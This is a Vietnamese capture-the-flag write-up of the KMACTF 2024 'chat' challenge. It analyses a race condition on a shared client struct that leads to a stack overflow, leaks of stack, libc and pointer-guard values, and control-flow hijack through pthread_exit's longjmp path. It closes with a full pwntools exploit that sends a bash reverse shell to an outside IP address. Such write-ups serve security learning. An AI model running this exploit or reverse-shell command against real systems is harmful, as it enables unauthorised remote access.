# KMACTF 2024 ## chat - chall này hay nhưng khi thi mình ko làm được, nên mình tham khảo wu để làm lại ### Anlysis - Trước tiên cần tạo 3 struct là **name_struct, chat_struct và client_struct** để dễ hiểu flow của thằng chat ```c 00000000 name_struct struc ; (sizeof=0xC, mappedto_10) 00000000 name dq ? ; offset 00000008 name_size dd ? 0000000C name_struct ends 00000000 chat_struct struc ; (sizeof=0x28, mappedto_11) 00000000 ; XREF: client_struct/r 00000000 name dq ? ; offset 00000008 name_size dd ? 0000000C db ? ; undefined 0000000D db ? ; undefined 0000000E db ? ; undefined 0000000F db ? ; undefined 00000010 message dq ? ; offset 00000018 message_size dd ? 0000001C db ? ; undefined 0000001D db ? ; undefined 0000001E db ? ; undefined 0000001F db ? ; undefined 00000020 next dq ? ; offset 00000028 chat_struct ends 00000000 client_struct struc ; (sizeof=0x2C, mappedto_22) 00000000 sock dd ? 00000004 latest_chat chat_struct ? 0000002C client_struct ends ``` - thằng chat có 2 chức năng là **handle_recv** và **handle_send** để xử lý message từ client, vì ta sẽ focus vào **handle_recv** ```c void __fastcall __noreturn client_handler(client_struct *c) { int buf; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( recv(c->sock, &buf, 4uLL, 0) ) { if ( !buf ) handle_recv(c); if ( buf == 1 ) handle_send(c); } buf = -1; send(c->sock, &buf, 4uLL, 0); close(c->sock); c->sock = 0; pthread_exit(0LL); } ``` - để ý thằng **client_struct** *c, tất cả các thread đêu dùng chung **client_struct** này , điều này rất dễ dẫn đến **Race conditons** vì struct của các client mỗi khi gửi message đều được dùng chung, dẫn đến size và data sẽ bị lẫn lộn ```c while ( 1 ) { v8 = accept(fd, &addr, &addr_len); while ( c ) ; v3 = ntohs(*addr.sa_data); v4 = inet_ntoa(*&addr.sa_data[2]); printf("New connection to recv sock from %s:%d\n", v4, v3); LODWORD(c) = v8; pthread_create(&newthread, 0LL, client_handler, &c); } ``` - phân tích sâu vào **handle_recv** thì mess nằm trên stack sẽ được được memcpy với **size mess->message_size == c->latest_chat.message_size** ![image](https://hackmd.io/_uploads/BJT0Wrjn0.png) - nhưng thằng **c->latest_chat.message_size** ta lại control được bằng bug Race Condition từ size của thằng client khác vì nó đều được dùng chung ![image](https://hackmd.io/_uploads/rkDlQBih0.png) - từ Bug này ta sẽ thực hiện BOF được , nma để leak được ta cần phân tích thêm thằng **handle_send** ```c void __fastcall __noreturn handle_send(int *a1) { int buf; // [rsp+18h] [rbp-18h] BYREF int fd; // [rsp+1Ch] [rbp-14h] chat_struct *i; // [rsp+20h] [rbp-10h] unsigned __int64 v4; // [rsp+28h] [rbp-8h] v4 = __readfsqword(0x28u); fd = *a1; *a1 = 0; for ( i = chat; i && i->name && i->message; i = i->next ) { send(fd, &i->name_size, 4uLL, 0); send(fd, i->name, i->name_size, 0); send(fd, &i->message_size, 4uLL, 0); send(fd, i->message, i->message_size, 0); } buf = -1; send(fd, &buf, 4uLL, 0); close(fd); pthread_exit(0LL); } ``` - thằng này nó cũng dùng lại message_size để send, vậy ta có thể leak addr từ đây - Nhưng mà vấn đề ở đây là thread kết thúc bằng **pthread_exit** chứ không phải ret, nên cho dù ta có BOF để overwrite rip thì cũng không get shell được - theo như wu mình tham khảo thì ta sẽ lợi dụng thằng **longjmp_cancel** trong pthread_exit để get shell ![image](https://hackmd.io/_uploads/Hy9iVBin0.png) - các reg đều được lấy từ stack để setup sau đó jmp rdx, vì ta có BOF nên có thể control được stack từ đó set up rdi theo ý mình để call system ![image](https://hackmd.io/_uploads/S1mGrBihA.png) - cuối cùng ta revshell nữa là lấy được flag thôi ![image](https://hackmd.io/_uploads/rkJfISo20.png) ### script - tham khảo của anh JHT ```python #!/usr/bin/python3 from pwn import * exe = ELF('chat_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) # ld = ELF("./ld-2.27.so") context.binary = exe IP = '0' PORT = 10000 info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda proc, data: proc.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def recv(size): data = b'' for _ in range(size): data += p.recv(1) return data def recv_msg(): size = u32(recv(4)) recv(size) size = u32(recv(4)) return recv(size) def PTR_MANGLE(addr): addr ^= stack_guard addr = ((addr << 0x11) | (addr >> (64 - 0x11))) & 0xffffffffffffffff return addr p1 = remote(IP, PORT) p2 = remote(IP, PORT) s(p1, p32(0) + p32(1) + p32(0x100)) s(p2, p32(0) + p32(1) + p32(0x1000)) s(p1, b'1' + b'bash -c "sh -i >& /dev/tcp/172.31.11.73/8080 0>&1"') p1.close() p2.close() p = remote(IP, PORT) s(p, p32(1)) msg = recv_msg() stack_leak = u64(msg[0x128:0x130]) info("Main stack leak: " + hex(stack_leak)) thread_stack_leak = u64(msg[0x160:0x168]) info("Thread stack leak: " + hex(thread_stack_leak)) libc_leak = u64(msg[0x138:0x140]) libc.address = libc_leak - 0x12bc2d info("Libc leak: " + hex(libc_leak)) info("Libc base: " + hex(libc.address)) stack_guard = u64(msg[0x9d0:0x9d8]) info("STACK GUARD: " + hex(stack_guard)) p.close() pop_rdi = libc.address + 0x000000000011578c ret = pop_rdi + 1 p1 = remote(IP, PORT) p2 = remote(IP, PORT) s(p1, p32(0) + p32(1) + p32(0x100)) s(p2, p32(0) + p32(1) + p32(0x1000)) p2.close() payload = flat( pop_rdi, thread_stack_leak, libc.sym.system ) s(p1, b'1' + payload) p = remote(IP, PORT) s(p, p32(1)) msg = recv_msg() msg = recv_msg() print(msg) thread_stack_leak2 = u64(msg[0x160:0x168]) info("Thread stack leak 2: " + hex(thread_stack_leak2)) p.close() p1 = remote(IP, PORT) p2 = remote(IP, PORT) s(p1, p32(0) + p32(1) + p32(0x100)) s(p2, p32(0) + p32(1) + p32(0x1000)) p2.close() payload = fit( { 0x128: stack_leak, 0x150: flat(stack_leak, stack_leak, stack_leak), 0x1c0: b'/bin/sh\0', 0x1c0 + 0x30: p64(PTR_MANGLE(thread_stack_leak2)) + p64(PTR_MANGLE(ret)), 0x200: 0xcafebabe }, ) s(p1, b'1' + payload) p1.interactive() # pop_rdi = ROP(libc).find_gadget(["pop rdi","ret"])[0] # rop = [pop_rdi+1,pop_rdi,next(libc.search(b"/bin/sh\0")),libc.sym.system] # rop = b"".join([p64(i) for i in rop]) # shellcode1 = asm( # ''' # mov rbx, 29400045130965551 # push rbx # mov rdi, rsp # xor rsi, rsi # xor rdx, rdx # mov rax, 0x3b # syscall # ''', arch = 'amd64' # ) ```